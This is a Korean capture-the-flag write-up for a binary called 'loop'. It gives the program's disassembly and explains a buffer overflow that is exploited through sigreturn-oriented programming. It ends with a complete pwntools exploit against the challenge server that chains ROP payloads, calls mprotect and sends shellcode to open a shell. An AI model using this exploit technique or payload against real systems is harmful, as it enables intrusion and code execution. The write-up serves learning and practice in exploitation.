1. 인트로

두 번째 피 으악!!!
2. 코드 및 분석
2.1. 암호
0000000000401000 <_start>:
401000: bf 01 00 00 00 mov $0x1,%edi
401005: 48 be 00 20 40 00 00 movabs $0x402000,%rsi
40100c: 00 00 00
40100f: ba 37 00 00 00 mov $0x37,%edx
401014: b8 01 00 00 00 mov $0x1,%eax
401019: 0f 05 syscall
40101b: 48 31 c0 xor %rax,%rax
40101e: 48 c7 c3 ff ff ff ff mov $0xffffffffffffffff,%rbx
401025: e8 21 00 00 00 call 40104b <confirm>
40102a: 48 85 c0 test %rax,%rax
40102d: 74 05 je 401034 <exit>
40102f: e8 66 00 00 00 call 40109a <loop>
0000000000401034 <exit>:
401034: bf 00 00 00 00 mov $0x0,%edi
401039: b8 3c 00 00 00 mov $0x3c,%eax
40103e: 0f 05 syscall
401040: 48 89 04 25 00 00 00 mov %rax,0x0
401047: 00
401048: ff cb dec %ebx
40104a: c3 ret
000000000040104b <confirm>:
40104b: 55 push %rbp
40104c: 48 89 e5 mov %rsp,%rbp
40104f: 48 83 ec 10 sub $0x10,%rsp
401053: bf 01 00 00 00 mov $0x1,%edi
401058: 48 be 37 20 40 00 00 movabs $0x402037,%rsi
40105f: 00 00 00
401062: ba 10 00 00 00 mov $0x10,%edx
401067: b8 01 00 00 00 mov $0x1,%eax
40106c: 0f 05 syscall
40106e: bf 00 00 00 00 mov $0x0,%edi
401073: 48 8d 75 f0 lea -0x10(%rbp),%rsi
401077: ba 08 00 00 00 mov $0x8,%edx
40107c: b8 00 00 00 00 mov $0x0,%eax
401081: 0f 05 syscall
401083: 48 31 c0 xor %rax,%rax
401086: 48 8b 45 f0 mov -0x10(%rbp),%rax
40108a: 3c 79 cmp $0x79,%al
40108c: 74 05 je 401093 <valid>
40108e: 48 31 c0 xor %rax,%rax
401091: eb 05 jmp 401098 <return>
0000000000401093 <valid>:
401093: b8 01 00 00 00 mov $0x1,%eax
0000000000401098 <return>:
401098: c9 leave
401099: c3 ret
000000000040109a <loop>:
40109a: 55 push %rbp
40109b: 48 89 e5 mov %rsp,%rbp
40109e: 48 83 ec 30 sub $0x30,%rsp
4010a2: 48 8d 7d d0 lea -0x30(%rbp),%rdi
4010a6: e8 66 00 00 00 call 401111 <read_input>
4010ab: 41 b8 21 00 00 00 mov $0x21,%r8d
00000000004010b1 <repeat>:
4010b1: 48 8d 7d d0 lea -0x30(%rbp),%rdi
4010b5: 4c 89 c6 mov %r8,%rsi
4010b8: ba 21 00 00 00 mov $0x21,%edx
4010bd: e8 0c 00 00 00 call 4010ce <write_string>
4010c2: 49 ff c8 dec %r8
4010c5: 75 ea jne 4010b1 <repeat>
4010c7: 48 31 c0 xor %rax,%rax
4010ca: c9 leave
4010cb: 88 f8 mov %bh,%al
4010cd: c3 ret
00000000004010ce <write_string>:
4010ce: 57 push %rdi
4010cf: 56 push %rsi
4010d0: 52 push %rdx
4010d1: 48 29 f2 sub %rsi,%rdx
4010d4: 48 01 fe add %rdi,%rsi
4010d7: bf 01 00 00 00 mov $0x1,%edi
4010dc: b8 01 00 00 00 mov $0x1,%eax
4010e1: 0f 05 syscall
4010e3: 48 8b 74 24 10 mov 0x10(%rsp),%rsi
4010e8: 48 8b 54 24 08 mov 0x8(%rsp),%rdx
4010ed: b8 01 00 00 00 mov $0x1,%eax
4010f2: 0f 05 syscall
4010f4: 48 be 5c 20 40 00 00 movabs $0x40205c,%rsi
4010fb: 00 00 00
4010fe: ba 01 00 00 00 mov $0x1,%edx
401103: b8 01 00 00 00 mov $0x1,%eax
401108: 0f 05 syscall
40110a: 48 31 c0 xor %rax,%rax
40110d: 5a pop %rdx
40110e: 5e pop %rsi
40110f: 5f pop %rdi
401110: c3 ret
0000000000401111 <read_input>:
401111: 57 push %rdi
401112: bf 01 00 00 00 mov $0x1,%edi
401117: 48 be 47 20 40 00 00 movabs $0x402047,%rsi
40111e: 00 00 00
401121: ba 15 00 00 00 mov $0x15,%edx
401126: b8 01 00 00 00 mov $0x1,%eax
40112b: 0f 05 syscall
40112d: 5e pop %rsi
40112e: bf 00 00 00 00 mov $0x0,%edi
401133: ba 4d 01 00 00 mov $0x14d,%edx
401138: b8 00 00 00 00 mov $0x0,%eax
40113d: 0f 05 syscall
40113f: 48 31 c0 xor %rax,%rax
401142: c3 ret
2.2. 분석하다
프로그램 시작 시 y/n 입력을 받아 y가 입력되면 루프 기능이 실행되고 n이 입력되면 종료 기능이 실행된다.
루프 함수 내부에서 다시 read_input 함수를 호출하여 0x14d만큼 입력을 받습니다.
또한 루프 함수 내에서 반복 함수가 연속적으로 실행되며 여기에 특정 문자열이 출력된다.
3. 취약점 검증 및 공격 준비
3.1. 약점
오버플로우로 인한 SROP.
3.2. 공격 준비
주요 취약점은 srop으로 모든 시스템 호출 후 eax 값을 0 또는 1로 변경하므로 eax 제어가 핵심입니다.
eax에 영향을 미치는 유일한 어셈블러 코드는
4010cb: 88 f8 mov %bh,%al
4010cd: c3 ret
하나있다
결국 알을 통제하려면 bh를 통제해야 한다는 이야기다.
이제 bh = al 이므로 bh를 조절할 수 있는 부분을 찾아보면
4010cb: 88 f8 mov %bh,%al
4010cd: c3 ret
하나있다
즉, 여러 번 돌려서 원하는 bh값을 만든 후 al에 넣고 syscall을 한다.
4. 악용
나는 Roderian과 많은 어려움을 겪었습니다.
가장 큰 문제는 페이로드를 반복적으로 전달해야 하는데 잘 전달되지 않았다는 것입니다.
그래서 하나씩 다시 해보면서 선언한 read의 크기만큼 모든 값을 넘겨야 제대로 실행되는 것을 확인했습니다.
여기서 고생했다
아래 페이로드에서 볼 수 있듯이 중간에 쓰기(1, 0x40400, 8)를 통해 값이 출력되고 이 값이 제대로 반환되면 다음 페이로드가 전달된다.
from pwn import *
#p=process('./loop')
p=remote('0.cloud.chals.io', 16672)
p.sendlineafter(b': ',b'y')
pay = b'A'*8*6
pay += p64(0x404008)
pay += p64(0x40110d)
pay += p64(0xfff)
pay += p64(0x00000000404000)
pay += p64(0)
pay += p64(0x401138)
pay += p64(0x4010ca)
pay += p64(0x404000)
pay += b'A'*(0x14c-len(pay))
p.sendlineafter(b'? ',pay)
for i in range(33):
p.recvuntil(b'\n')
print('pay1 done')
for i in range(136):
pay = (b'B'*7 + b'\n')
pay += p64(0x404008)
pay += p64(0x401043)*453
pay += p64(0x40110d)
pay += p64(0x8)
pay += p64(0x00000000404000)
pay += p64(1)
pay += p64(0x401103)
pay += p64(0xfff)
pay += p64(0x00000000404000)
pay += p64(0)
pay += p64(0x401138)
pay += p64(0x4010ca)
pay += p64(0x404008)
pay += b'A'*(0xffe-len(pay))
p.sendline(pay)
p.recvuntil(b'BBB\n')
print(i,'done')
print('pay1 done')
context.arch = "amd64"
frame = SigreturnFrame(arch="amd64")
frame.rax = 0xa
frame.rdi = 0x404000
frame.rsi = 0x1000
frame.rdx = 0x7
frame.rsp = 0x404f88
frame.rip = 0x40113d
pay2 = b'C'*0x7 + b'\n'
pay2 += b'A'*(0xe80-len(pay2))
pay2 += p64(0x4010cb)
pay2 += p64(0x40113d)
pay2 += bytes(frame)
pay2 += p64(0x40110d)
pay2 += p64(0x8)
pay2 += p64(0x00000000404000)
pay2 += p64(1)
pay2 += p64(0x401103)
pay2 += p64(0x100)
pay2 += p64(0x00000000404000)
pay2 += p64(0)
pay2 += p64(0x401138)
pay2 += p64(0x404000)
pay2 += p64(0x404000)
pay2 += b'A'*(0xffe-len(pay2))
print(hex(len(pay2)))
pause()
p.sendline(pay2)
p.recvuntil(b'C\n')
print('pay2 done')
shellcode = asm(shellcraft.sh())
shellcode += b'\x90'*(0xff - len(shellcode))
p.sendline(shellcode)
p.sendline('id')
p.interactive()
